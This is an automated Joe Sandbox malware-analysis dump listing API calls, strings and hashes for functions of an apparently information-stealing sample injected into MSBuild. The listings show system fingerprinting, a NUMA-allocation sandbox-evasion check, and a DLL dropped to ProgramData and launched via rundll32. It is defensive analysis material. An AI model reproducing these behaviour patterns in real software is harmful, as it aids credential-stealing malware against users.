Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD
RegCloseKey.ADVAPI32(00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410C06

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction ID: 0994ca530c552eb12484d48fed68a7c00db0df5c681817d2f603923d478d8980
Opcode Fuzzy Hash: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction Fuzzy Hash: B1114C75A0420ADFCB019FA4CC989EEBBB5AF49310F64417EF215E73A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004185DC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction ID: 46aed83c215a1155ddf1663667cd5ec87320cd9fa35168939231c0eb8388c106
Opcode Fuzzy Hash: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction Fuzzy Hash: 57F0C27278122077F22422763C6EFAB5A6C9B42F56F205035F309FB2D0D66998049ABC

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
"" , xrefs: 00412A32
C:\ProgramData\, xrefs: 00412995
.dll, xrefs: 004129ED

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction ID: cfd5adc8c7fec37571e4615a2d659ce623d81488d817e1095ce6785adf6647ed
Opcode Fuzzy Hash: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction Fuzzy Hash: 1A11B971A0011CABCB10EB65DC45FCD7378AB14704F0000A6B645E7191DAB89FC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction ID: d79e8d54b07d2f615201cd360c868d95b9dac01f4be2040cf9acff1c057e51b0
Opcode Fuzzy Hash: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction Fuzzy Hash: F201A9B1E00218BBEB08DFB4DC45EEFB7B9EF08705F04006AF602D7290EA7599818758

Function 0041BD34 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,763374F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C), ref: 0041BD81
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,763374F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000), ref: 0041BDB9

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 96129ee170b6e52e4a698042c6e04e57a17f8ea6b04b39fd16cd668f0541581b
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: F23165B05047049FDB349F25D898BE77AE9EB14354F108B2FE296D2680D33898C4CB99

Function 6C4CC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4CC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4CC969
GetSystemInfo.KERNEL32(?), ref: 6C4CC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4CC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4CC9E2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 75d52fb76538c186dfec56caa218316c3b4d8a49d8b775cfffe43076f08e7797
Instruction ID: ad83a91fd4c9c54762e88ac05ffbfccd417149837b98727d8120821d06241ffb
Opcode Fuzzy Hash: 75d52fb76538c186dfec56caa218316c3b4d8a49d8b775cfffe43076f08e7797
Instruction Fuzzy Hash: 52212935741614ABDB25EA28DC88FAE73B9EB46305F51051EF90BA7B80FB705C408795

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 00410F51 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
